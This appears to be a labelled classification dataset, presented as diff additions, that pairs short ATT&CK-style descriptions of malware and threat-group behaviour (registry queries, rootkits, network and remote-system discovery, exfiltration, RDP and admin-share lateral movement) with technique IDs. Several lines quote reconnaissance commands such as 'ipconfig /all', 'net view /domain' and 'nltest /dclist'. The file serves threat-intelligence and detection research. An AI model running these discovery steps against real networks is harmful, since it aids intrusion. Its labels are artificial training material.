+"FatDuke can get user agent strings for the default browser from ""HKCU\Software\Classes\http\shell\open\command""."	['T1012']
+Gelsemium can open random files and Registry keys to obscure malware behavior from sandbox analysis.	['T1012']
+"Gold Dragon enumerates registry keys with the command ""regkeyenum"" and obtains information for the Registry key ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""."	['T1012']
+Hydraq creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.	['T1012']
+"Industroyer has a data wiper component that enumerates keys in the Registry ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services""."	['T1012']
+InvisiMole can enumerate Registry values, keys, and data.	['T1012']
+JPIN can enumerate Registry keys.	['T1012']
+Kimsuky has obtained specific Registry keys and values on a compromised host.	['T1012']
+"Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another Lazarus Group malware sample checks for the presence of the following Registry key:""HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt""."	['T1012']
+"Lucifer can check for existing stratum cryptomining information in ""HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr – %stratum info%""."	['T1012']
+Milan can query `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid` to retrieve the machine GUID.	['T1012']
+"Mori can read data from the Registry including from `HKLM\Software\NFC\IPA` and
+`HKLM\Software\NFC\`."	['T1012']
+OSInfo queries the registry to look for information about Terminal Services.	['T1012']
+"OilRig has used ""reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”"" on a victim to query the Registry."	['T1012']
+Operation Wocao has queried the registry to detect recent PuTTY sessions.	['T1012']
+POWERSOURCE queries Registry keys in preparation for setting Run keys to achieve persistence.	['T1012']
+PcShare can search the registry files of a compromised host.	['T1012']
+"Pillowmint has used shellcode which reads code stored in the registry keys ""\REGISTRY\SOFTWARE\Microsoft\DRM"" using the native Windows API as well as read ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"" as part of its C2."	['T1012']
+"Proxysvc gathers product names from the Registry key: ""HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName"" and the processor description from the Registry key ""HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString""."	['T1012']
+"ROKRAT can access the ""HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData"" Registry key to obtain the System manufacturer value to identify the machine type."	['T1012']
+Reaver queries the Registry to determine the correct Startup path to use for persistence.	['T1012']
+Rising Sun has identified the OS product name from a compromised host by searching the registry for `SOFTWARE\MICROSOFT\Windows NT\ CurrentVersion | ProductName`.	['T1012']
+SILENTTRINITY can use the `GetRegValue` function to check Registry keys within `HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated` and `HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated`. It also contains additional modules that can check software AutoRun values and use the Win32 namespace to get values from HKCU, HKLM, HKCR, and HKCC hives.	['T1012']
+Shark can query `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid` to retrieve the machine GUID.	['T1012']
+Sibot has queried the registry for proxy server information.	['T1012']
+Stealth Falcon malware attempts to determine the installed version of .NET by querying the Registry.	['T1012']
+StoneDrill has looked in the registry to find the default browser path.	['T1012']
+"TEARDROP checked that ""HKU\SOFTWARE\Microsoft\CTF"" existed before decoding its embedded payload."	['T1012']
+"Taidoor can query the Registry on compromised hosts using ""RegQueryValueExA""."	['T1012']
+TinyTurla can query the Registry for its configuration information.	['T1012']
+"Turla surveys a system upon check-in to discover information in the Windows Registry with the ""reg query"" command. Turla has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes ."	['T1012']
+Valak can use the Registry for code updates and to collect credentials.	['T1012']
+Volgmer checks the system for certain Registry keys.	['T1012']
+WINDSHIELD can gather Registry values.	['T1012']
+"WastedLocker checks for specific registry keys related to the ""UCOMIEnumConnections"" and ""IActiveScriptParseProcedure32"" interfaces."	['T1012']
+"Waterbear can query the Registry key """"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"""" to see if the value `OracleOcilib` exists."	['T1012']
+ZIRCONIUM has used a tool to query the Registry for proxy settings.	['T1012']
+Zeus Panda checks for the existence of a Registry key and if it contains certain values.	['T1012']
+ZxShell can query the netsvc group value data located in the svchost group Registry key.	['T1012']
+ZxxZ can search the registry of a compromised host.	['T1012']
+gh0st RAT has checked for the existence of a Service key to determine if it has already been installed on the system.	['T1012']
+njRAT can read specific registry values.	['T1012']
+APT28 has used a UEFI (Unified Extensible Firmware Interface) rootkit known as LoJax.	['T1014']
+APT41 deployed rootkits on Linux systems.	['T1014']
+Caterpillar WebShell has a module to use a rootkit on a system.	['T1014']
+Drovorub has used a kernel module rootkit to hide processes, files, executables, and network artifacts from user space view.	['T1014']
+Ebury has used user mode rootkit techniques to remain hidden on the system.	['T1014']
+HIDEDRV is a rootkit that hides certain operating system artifacts.	['T1014']
+Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.	['T1014', 'T1542.001']
+HiddenWasp uses a rootkit to hook and implement functions on the system.	['T1014']
+LoJax is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.	['T1014', 'T1542.001']
+PoisonIvy starts a rootkit from a malicious file dropped to disk.	['T1014']
+Ramsay has included a rootkit to evade defenses.	['T1014']
+Rocke has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.	['T1014', 'T1574.006']
+Skidmap is a kernel-mode rootkit that has the ability to hook system calls to hide specific files and fake network and CPU-related statistics to make the CPU load of the infected machine always appear low.	['T1014']
+Stuxnet uses a Windows rootkit to mask its binaries and other relevant files.	['T1014']
+Umbreon hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.	['T1014']
+Uroburos is a rootkit used by Turla.	['T1014']
+WarzoneRAT can include a rootkit to hide processes, files, and startup.	['T1014']
+Winnti Group used a rootkit to modify typical server functionality.	['T1014']
+Winnti for Linux has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity.	['T1014']
+A JHUHUGIT variant gathers network interface card information.	['T1016']
+A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.	['T1016']
+"APT1 used the ""ipconfig /all"" command to gather network configuration information."	['T1016']
+APT19 used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.	['T1016']
+APT41 collected MAC addresses from victim machines.	['T1016']
+Action RAT has the ability to collect the MAC address of an infected host.	['T1016']
+AdFind can extract subnet information from Active Directory.	['T1016']
+Agent Tesla can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.	['T1016']
+Agent.btz collects the network adapter’s IP and MAC address as well as IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.	['T1016']
+Amadey can identify the IP address of a victim machine.	['T1016']
+AppleSeed can identify the IP of a targeted system.	['T1016']
+Astaroth collects the external IP address from the system.	['T1016']
+Azorult can collect host IP information from the victim’s machine.	['T1016']
+BADCALL collects the network adapter information.	['T1016']
+BADFLICK has captured victim IP address details.	['T1016']
+BLINDINGCAN has collected the victim machine's local IP address information and MAC address.	['T1016']
+Backdoor.Oldrea collects information about the Internet adapter configuration.	['T1016']
+Bazar can collect the IP address and NetBIOS name of an infected machine.	['T1016']
+BlackEnergy has gathered information about network IP configurations using ipconfig.exe and about routing tables using route.exe.	['T1016']
+Bonadan can find the external IP address of the infected host.	['T1016']
+"BoxCaon can collect the victim's MAC address by using the ""GetAdaptersInfo"" API."	['T1016']
+"Calisto runs the ""ifconfig"" command to obtain the IP address from the victim’s machine."	['T1016']
+"Carbon can collect the IP address of the victims and other computers on the network using the commands: ""ipconfig -all"" ""nbtstat -n"", and ""nbtstat -s""."	['T1016']
+Catchamas gathers the Mac address, IP address, and the network adapter information from the victim’s machine.	['T1016']
+Caterpillar WebShell can gather the IP address from the victim's machine using the IP config command.	['T1016']
+"CharmPower has the ability to use ""ipconfig"" to enumerate system network settings."	['T1016']
+"Chimera has used ipconfig, Ping, and ""tracert"" to enumerate the IP address and network environment and settings of the local host."	['T1016']
+Clambling can enumerate the IP address of a compromised machine.	['T1016']
+Cobalt Strike can determine the IP addresses of domain controllers.	['T1016']
+Cobalt Strike can determine the NetBios name and  the IP addresses of targets machines including domain controllers.	['T1016']
+"Comnie uses ""ipconfig /all"" and ""route PRINT"" to identify network adapter and interface information."	['T1016']
+"Conti can retrieve the ARP cache from the local system by using the ""GetIpNetTable()"" API call and check to ensure IP addresses it connects to are for local, non-Internet, systems."	['T1016']
+CrackMapExec can collect DNS information from the targeted system.	['T1016']
+Crimson contains a command to collect the victim MAC address and LAN IP.	['T1016']
+"Cuba can retrieve the ARP cache from the local system by using ""GetIpNetTable""."	['T1016']
+"Denis uses ""ipconfig"" to gather the IP address from the system."	['T1016']
+Diavol can enumerate victims' local and external IPs when registering with C2.	['T1016']
+Dragonfly 2.0 used batch scripts to enumerate network information, including information about trusts, zones, and the domain.	['T1016']
+Dragonfly has used batch scripts to enumerate network information, including information about trusts, zones, and the domain.	['T1016']
+"Dtrack can collect the host's IP addresses using the ""ipconfig"" command."	['T1016']
+During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.	['T1016']
+During Frankenstein, the threat actors used Empire to find the public IP address of a compromised system.	['T1016']
+During FunnyDream, the threat actors used ipconfig for discovery on remote systems.	['T1016']
+During Operation CuckooBees, the threat actors used `ipconfig`, `nbtstat`, `tracert`, `route print`, and `cat /etc/hosts` commands.	['T1016']
+During Operation Wocao, threat actors discovered the local network configuration with `ipconfig`.	['T1016']
+Dyre has the ability to identify network settings on a compromised host.	['T1016']
+"Earth Lusca used the command ""ipconfig"" to obtain information about network configurations."	['T1016']
+"Elise executes ""ipconfig /all"" after initial communication is made to the remote server."	['T1016']
+"Emissary has the capability to execute the command ""ipconfig /all""."	['T1016']
+Empire can acquire network configuration information like DNS servers, public IP, and network proxies used by a host.	['T1016']
+"Epic uses the ""nbtstat -n"" and ""nbtstat -s"" commands on the victim’s machine."	['T1016']
+Explosive has collected the MAC address from the victim's machine.	['T1016']
+FELIXROOT collects information about the network including the IP address and DHCP server.	['T1016']
+FatDuke can identify the MAC address on the target computer.	['T1016']
+Felismus collects the victim LAN IP address and sends it to the C2 server.	['T1016']
+"Flagpro has been used to execute the ""ipconfig /all"" command on a victim system."	['T1016']
+FunnyDream can parse the `ProxyServer` string in the Registry to discover http proxies.	['T1016']
+"GALLIUM used ""ipconfig /all"" to obtain information about the victim network configuration. The group also ran a modified version of NBTscan to identify available NetBIOS name servers."	['T1016']
+GeminiDuke collects information on network settings and Internet proxy settings from the victim.	['T1016']
+GoldMax retrieved a list of the system's network interface after execution.	['T1016']
+Grandoreiro can determine the IP and physical location of the compromised host via IPinfo.	['T1016']
+GravityRAT collects the victim IP address, MAC address, as well as the victim account domain name.	['T1016']
+GrimAgent can enumerate the IP and domain of a target system.	['T1016']
+HotCroissant has the ability to identify the IP address of the compromised machine.	['T1016']
+Hydraq creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.	['T1016']
+Industroyer’s 61850 payload component enumerates connected network adapters and their corresponding IP addresses.	['T1016']
+Ixeshe enumerates the IP address, network proxy settings, and domain name from a victim's system.	['T1016']
+JPIN can obtain network information, including DNS, IP, and proxies.	['T1016']
+KEYMARBLE gathers the MAC address of the victim’s machine.	['T1016']
+KONNI can collect the IP address from the victim’s machine.	['T1016']
+Kazuar gathers information about network adapters.	['T1016']
+Kobalos can record the IP address of the target machine.	['T1016']
+"Kwampirs collects network adapter and interface information by using the commands ""ipconfig /all"", ""arp -a"" and ""route print"". It also collects the system's MAC address with ""getmac"" and domain configuration with ""net config workstation""."	['T1016']
+Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card’s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.	['T1016']
+LiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.	['T1016']
+Lizar can retrieve network information from a compromised host.	['T1016']
+Lokibot has the ability to discover the domain name of the infected host.	['T1016']
+LoudMiner used a script to gather the IP address of the infected machine before sending to the C2.	['T1016']
+Lucifer can collect the IP address of a compromised host.	['T1016']
+MacMa can collect IP addresses from a compromised host.	['T1016']
+Machete collects the MAC address of the target computer and other network configuration information.	['T1016']
+Magic Hound malware gathers the victim's local IP address, MAC address, and external IP address.	['T1016']
+Milan can run `C:\Windows\system32\cmd.exe /c cmd /c ipconfig /all 2>&1` to discover network settings.	['T1016']
+"Mis-Type may create a file containing the results of the command ""cmd.exe /c ipconfig /all""."	['T1016']
+MoonWind obtains the victim IP address.	['T1016']
+More_eggs has the capability to gather the IP address from the victim's machine.	['T1016']
+"Mosquito uses the ""ipconfig"" command."	['T1016']
+NETWIRE can collect the IP address of a compromised host.	['T1016']
+NOKKI can gather information on the victim IP address.	['T1016']
+Naid collects the domain name from a compromised host.	['T1016']
+"Naikon uses commands such as ""netsh interface show"" to discover network interface settings."	['T1016']
+NanHaiShu can gather information about the victim proxy server.	['T1016']
+Neoichor can gather the IP address from an infected host.	['T1016']
+OSInfo discovers the current domain information.	['T1016']
+OSX_OCEANLOTUS.D can collect the network interface MAC address on the infected host.	['T1016']
+OceanSalt can collect the victim’s IP address.	['T1016']
+"OilRig has run ""ipconfig /all"" on a victim."	['T1016']
+Okrum can collect network information, including the host IP address, DNS, and proxy information.	['T1016']
+Olympic Destroyer uses API calls to enumerate the infected system's ARP table.	['T1016']
+Operation Wocao has discovered the local network configuration with ipconfig.	['T1016']
+Orz can gather victim proxy information.	['T1016']
+POWERSTATS can retrieve IP, network adapter configuration information, and domain from compromised hosts.	['T1016']
+"POWRUNER may collect network configuration data by running ""ipconfig /all"" on a victim."	['T1016']
+Pay2Key can identify the IP and MAC addresses of the compromised host.	['T1016']
+PcShare can obtain the proxy settings of a compromised machine using `InternetQueryOptionA` and its IP address by running `nslookup myip.opendns.comresolver1.opendns.com\r\n`.	['T1016']
+Penquin can report the IP of the compromised host to attacker controlled infrastructure.	['T1016']
+PingPull can retrieve the IP address of a compromised host.	['T1016']
+PipeMon can collect and send the local IP address, RDP information, and the network adapter physical address as a part of its C2 beacon.	['T1016']
+PoshC2 can enumerate network adapter information.	['T1016']
+Proxysvc collects the network adapter information and domain/username information based on current remote sessions.	['T1016']
+Pysa can perform network reconnaissance using the Advanced IP Scanner tool.	['T1016']
+QUADAGENT gathers the current domain the victim system belongs to.	['T1016']
+"QakBot can use ""net config workstation"", ""arp -a"", and ""ipconfig /all"" to gather network configuration information."	['T1016']
+"RATANKBA gathers the victim’s IP address via the ""ipconfig -all"" command."	['T1016']
+Ramsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.	['T1016']
+Reaver collects the victim's IP address.	['T1016']
+RedLeaves can obtain information about network parameters.	['T1016']
+Remsec can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.	['T1016']
+Revenge RAT collects the IP address and MAC address from the system.	['T1016']
+Rifdoor has the ability to identify the IP address of the compromised host.	['T1016']
+Rising Sun can detect network adapter and IP address information.	['T1016']
+RogueRobin gathers the IP address and domain from the victim’s machine.	['T1016']
+"Ryuk has called ""GetIpNetTable"" in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries."	['T1016']
+S-Type has used `ipconfig /all` on a compromised host.	['T1016']
+SDBbot has the ability to determine the domain name and whether a proxy is configured on a compromised host.	['T1016']
+SHARPSTATS has the ability to identify the domain of the compromised host.	['T1016']
+STARWHALE has the ability to collect the IP address of an infected host.	['T1016']
+Sandworm Team checks for connectivity to other resources in the network.	['T1016']
+ShadowPad has collected the domain name of the victim system.	['T1016']
+Shamoon obtains the target's IP address and local network segment.	['T1016']
+Sibot checked if the compromised system is configured to use proxies.	['T1016']
+SideCopy has identified the IP address of a compromised host.	['T1016']
+SideTwist has the ability to collect the domain name on a compromised host.	['T1016']
+Sidewinder has used malware to collect information on network interfaces, including the MAC address.	['T1016']
+Small Sieve can obtain the IP address of a victim host.	['T1016']
+"SoreFang can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via ""ipconfig.exe /all""."	['T1016']
+"SpeakUp uses the ""ifconfig -a"" command."	['T1016']
+SpicyOmelette can identify the IP of a compromised system.	['T1016']
+Squirrelwaffle has collected the victim’s external IP address.	['T1016']
+Stealth Falcon malware gathers the Address Resolution Protocol (ARP) table from the victim.	['T1016']
+Stuxnet collects the IP address of a compromised system.	['T1016']
+Sys10 collects the local IP address of the victim and sends it to the C2.	['T1016']
+T9000 gathers and beacons the MAC and IP addresses during installation.	['T1016']
+TSCookie has the ability to identify the IP of the infected host.	['T1016']
+"Taidoor has collected the MAC address of a compromised host; it can also use ""GetAdaptersInfo"" to identify network adapters."	['T1016']
+TajMahal has the ability to identify the MAC address on an infected host.	['T1016']
+TeamTNT has enumerated the host machine’s IP address.	['T1016']
+The IceApple ifconfig module can iterate over all network interfaces on the host and retrieve the name, description, MAC address, DNS suffix, DNS servers, gateways, IPv4 addresses, and subnet masks.	['T1016']
+Threat Group-3390 actors use NBTscan to discover vulnerable systems.	['T1016']
+Torisma can collect the local MAC address using `GetAdaptersInfo` as well as the system's IP address.	['T1016']
+Trojan.Karagany can gather information on the network configuration of a compromised host.	['T1016']
+UPPERCUT has the capability to gather the victim's proxy information.	['T1016']
+"USBferry can detect the infected machine's network topology using ""ipconfig"" and ""arp""."	['T1016']
+Unknown Logger can obtain information about the victim's IP address.	['T1016']
+VERMIN gathers the local IP address.	['T1016']
+Valak has the ability to identify the domain and the MAC and IP addresses of an infected machine.	['T1016']
+Volgmer can gather the IP address from the victim's machine.	['T1016']
+WannaCry will attempt to determine the local network segment it is a part of.	['T1016']
+WellMail can identify the IP address of the victim system.	['T1016']
+"Wizard Spider has used ""ipconfig"" to identify the network configuration of a victim machine."	['T1016']
+ZIRCONIUM has used a tool to enumerate proxy settings in the target environment.	['T1016']
+"Zebrocy runs the ""ipconfig /all"" command."	['T1016']
+ZeroT gathers the victim's IP address and domain information, and then sends it to its C2 server.	['T1016']
+"admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: ""ipconfig /all >> %temp%\download"""	['T1016']
+ifconfig can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.	['T1016']
+ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.	['T1016']
+jRAT can gather victim internal and external IPs.	['T1016']
+nbtstat can be used to discover local NetBIOS domain names.	['T1016']
+route can be used to discover routing configuration information.	['T1016']
+xCaon has used the GetAdaptersInfo() API call to get the victim's MAC address.	['T1016']
+"yty runs ""ipconfig /all"" and collects the domain name."	['T1016']
+zwShell can obtain the victim IP address.	['T1016']
+During Operation Wocao, threat actors used a Visual Basic script that checked for internet connectivity.	['T1016.001']
+GoldFinder performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.	['T1016.001']
+HEXANE has used tools including BITSAdmin to test internet connectivity from compromised hosts.	['T1016.001']
+Neoichor can check for Internet connectivity by contacting bing[.]com with the request format `bing[.]com?id=<GetTickCount>`.	['T1016.001']
+QakBot can measure the download speed on a targeted host.	['T1016.001']
+QuietSieve can check C2 connectivity with a `ping` to 8.8.8.8 (Google public DNS).	['T1016.001']
+Rising Sun can test a connection to a specified network IP address over a specified port number.	['T1016.001']
+SUGARUSH has checked for internet connectivity from an infected host before attempting to establish a new TCP connection.	['T1016.001']
+"Turla has used ""tracert"" to check internet connectivity."	['T1016.001']
+UNC2452 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.	['T1016.001']
+APT29 has used AdFind to enumerate remote systems.	['T1018']
+APT3 has a tool that can detect the existence of remote systems.	['T1018']
+"APT32 has enumerated DC servers using the command ""net group ""Domain Controllers"" /domain"". The group has also used the ""ping"" command."	['T1018']
+APT39 has used NBTscan and custom tools to discover remote systems.	['T1018']
+AdFind has the ability to query Active Directory for computers.	['T1018']
+"BRONZE BUTLER typically use ""ping"" and Net to enumerate systems."	['T1018']
+Backdoor.Oldrea can enumerate and map ICS-specific systems in victim environments.	['T1018']
+"BitPaymer can use ""net view"" to discover remote systems."	['T1018']
+BloodHound can enumerate and collect the properties of domain computers, including domain controllers.	['T1018']
+"Carbon uses the ""net view"" command."	['T1018']
+Chimera has utilized various scans and queries to find domain controllers and remote services in the target environment.	['T1018']
+Cobalt Strike uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.	['T1018']
+"Commands such as ""net view"" can be used in Net to gather information about available remote systems."	['T1018']
+"Comnie runs the ""net view"" command"	['T1018']
+Conti has the ability to discover hosts on a target network.	['T1018']
+DRATzarus can search for other machines connected to compromised host and attempt to map the network.	['T1018']
+Diavol can use the ARP table to find remote hosts to scan.	['T1018']
+During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.	['T1018']
+During FunnyDream, the threat actors used several tools and batch files to map victims' internal networks.	['T1018']
+During Operation CuckooBees, the threat actors used the `net view` and `ping` commands as part of their advanced reconnaissance.	['T1018']
+"Earth Lusca used the command ""powershell “Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list -
+property * | findstr “Address””"" to find the network information of successfully logged-in accounts to discovery addresses of other machines. Earth Lusca has also used multiple scanning tools to discover other machines within the same compromised network."	['T1018']
+"Epic uses the ""net view"" command on the victim’s machine."	['T1018']
+FIN5 has used the open source tool Essential NetTools to map the network and build a list of targets.	['T1018']
+FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.	['T1018', 'T1046']
+"FIN8 has used dsquery and other Active Directory utilities to enumerate hosts; they have also used ""nltest.exe /dclist"" to retrieve a list of domain controllers."	['T1018']
+"Flagpro has been used to execute ""net view"" on a targeted system."	['T1018']
+Fox Kitten has used Angry IP Scanner to detect remote systems.	['T1018']
+"GALLIUM used a modified version of NBTscan to identify available NetBIOS name servers over the network as well as ""ping"" to identify remote systems."	['T1018']
+HEXANE has used `net view` to enumerate domain machines.	['T1018']
+Indrik Spider has used PowerView to enumerate all Windows Server, Windows Server 2003, and Windows 7 instances in the Active Directory database.	['T1018']
+Industroyer can enumerate remote computers in the compromised network.	['T1018']
+Ke3chang has used network scanning and enumeration tools, including Ping.	['T1018']
+"Kwampirs collects a list of available servers with the command ""net view""."	['T1018']
+MURKYTOP has the capability to identify remote hosts on connected networks.	['T1018']
+NBTscan can list NetBIOS computer names.	['T1018']
+Naikon has used a netbios scanner for remote machine identification.	['T1018']
+"Nltest may be used to enumerate remote domain controllers using options such as ""/dclist"" and ""/dsgetdc""."	['T1018']
+OSInfo performs a connection test to discover remote systems in the network	['T1018']
+Olympic Destroyer uses Windows Management Instrumentation to enumerate all systems in the network.	['T1018']
+"Operation Wocao can use the ""ping"" command to discover remote systems."	['T1018']
+Ping can be used to identify remote systems within a network.	['T1018']
+PoetRAT used Nmap for remote system discovery.	['T1018']
+"QakBot can identify remote systems through the ""net view"" command."	['T1018']
+"RATANKBA runs the ""net view /domain"" and ""net view"" commands."	['T1018']
+ROADTools can enumerate Azure AD systems and devices.	['T1018']
+SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.	['T1018']
+SILENTTRINITY can enumerate and collect the properties of domain computers.	['T1018']
+Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about computers listed in AD.	['T1018']
+Silence has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts.	['T1018']
+SpicyOmelette can identify payment systems, payment gateways, and ATM systems in compromised environments.	['T1018']
+"Sykipot may use ""net view /domain"" to display hostnames of available systems on a network."	['T1018']
+TRITON’s TsLow python module pings controllers over the TriStation protocol.	['T1018']
+The TAINTEDSCRIBE command and execution module can perform target system enumeration.	['T1018']
+"Threat Group-3390 has used the ""net view"" command."	['T1018']
+TrickBot can enumerate computers and network devices.	['T1018']
+"Turla surveys a system upon check-in to discover remote systems on a local network using the ""net view"" and ""net view /DOMAIN"" commands. Turla has also used ""net group ""Domain Computers"" /domain"", ""net group ""Domain Controllers"" /domain"", and ""net group ""Exchange Servers"" /domain"" to enumerate domain computers, including the organization's DC and Exchange Server."	['T1018']
+WannaCry scans its local network segment for remote systems to try to exploit and copy itself to.	['T1018']
+"Wizard Spider has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. Wizard Spider has also used AdFind and ""nltest/dclist"" to enumerate domain computers, including the domain controller."	['T1018']
+"menuPass uses scripts to enumerate IP ranges on the victim network. menuPass has also issued the command ""net view /domain"" to a PlugX implant to gather information about remote systems on the network."	['T1018']
+njRAT can identify remote hosts on connected networks.	['T1018']
+CosmicDuke exfiltrates collected files automatically over FTP to remote servers.	['T1020']
+Crutch has automatically exfiltrated stolen files to Dropbox.	['T1020']
+Doki has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL.	['T1020']
+During Frankenstein, the threat actors collected information via Empire, which was automatically sent back to the adversary's C2.	['T1020']
+Ebury can automatically exfiltrate gathered SSH credentials.	['T1020']
+Empire has the ability to automatically send collected data back to the threat actors' C2.	['T1020']
+Frankenstein has collected information via Empire, which is automatically sent the data back to the adversary's C2.	['T1020', 'T1041']
+LightNeuron can be configured to automatically exfiltrate files under a specified directory.	['T1020']
+OutSteel can automatically upload collected files to its C2 server.	['T1020']
+Peppy has the ability to automatically exfiltrate files and keylogs.	['T1020']
+Rover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.	['T1020']
+ShimRatReporter sent collected system and network information compiled into a report to an adversary-controlled C2.	['T1020']
+Sidewinder has configured tools to automatically send collected files to attacker controlled servers.	['T1020']
+StrongPity can automatically exfiltrate collected documents to the C2 server.	['T1020']
+TajMahal has the ability to manage an automated queue of egress files and commands sent to its C2.	['T1020']
+MacMa can manage remote screen sessions.	['T1021']
+APT29 has used RDP sessions from public-facing systems to internal servers.	['T1021.001']
+APT41 used RDP for lateral movement.	['T1021.001']
+Axiom has used RDP during operations.	['T1021.001']
+Blue Mockingbird has used Remote Desktop to log on to servers interactively and manually copy files to remote hosts.	['T1021.001']
+Carbanak enables concurrent Remote Desktop Protocol (RDP) sessions.	['T1021.001']
+Chimera has used RDP to access targeted systems.	['T1021.001']
+Cobalt Group has used Remote Desktop Protocol to conduct lateral movement.	['T1021.001']
+DarkComet can open an active screen of the victim’s machine and take control of the mouse and keyboard.	['T1021.001']
+Dragonfly 2.0 moved laterally via RDP.	['T1021.001']
+Dragonfly has moved laterally via RDP.	['T1021.001']
+FIN6 used RDP to move laterally in victim networks.	['T1021.001']
+FIN7 has used RDP to move laterally in victim environments.	['T1021.001']
+FIN8 has used RDP for lateral movement.	['T1021.001']
+Fox Kitten has used RDP to log in and move laterally in the target environment.	['T1021.001']
+Kimsuky has used RDP for direct remote point-and-click access.	['T1021.001']
+Leviathan has targeted RDP credentials and used it to move through the victim environment.	['T1021.001']
+Magic Hound has used Remote Desktop Services on targeted systems.	['T1021.001']
+OilRig has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.	['T1021.001']
+Pupy can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.	['T1021.001']
+QuasarRAT has a module for performing remote desktop access.	['T1021.001']
+ServHelper has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.	['T1021.001']
+Silence has used RDP for lateral movement.	['T1021.001']
+Stolen Pencil utilized RDP for direct remote point-and-click access.	['T1021.001']
+TEMP.Veles utilized RDP throughout an operation.	['T1021.001']
+The APT1 group is known to have used RDP during operations.	['T1021.001']
+Wizard Spider has used RDP for lateral movement.	['T1021.001']
+jRAT can support RDP control.	['T1021.001']
+menuPass has used RDP connections to move across the victim network.	['T1021.001']
+APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.	['T1021.002']
+APT41 has transferred implant files using Windows Admin Shares.	['T1021.002']
+Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.	['T1021.002', 'T1053.005', 'T1078']
+Anchor can support windows execution via SMB shares.	['T1021.002']
+BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin shares.	['T1021.002']
+Blue Mockingbird has used Windows Explorer to manually copy malicious files to remote hosts over SMB.	['T1021.002']
+Chimera has used Windows admin shares to move laterally.	['T1021.002']
+Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement.	['T1021.002']
+Conficker variants spread through NetBIOS share propagation.	['T1021.002']
+Conti can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.	['T1021.002']
+"Deep Panda uses net.exe to connect to network shares using ""net use"" commands with compromised credentials."	['T1021.002']
+Diavol can spread throughout a network via SMB prior to encryption.	['T1021.002']
+FIN8 has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.	['T1021.002']
+HermeticWizard can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems.	['T1021.002']
+"Lateral movement can be done with Net through ""net use"" commands to connect to the on remote systems."	['T1021.002']
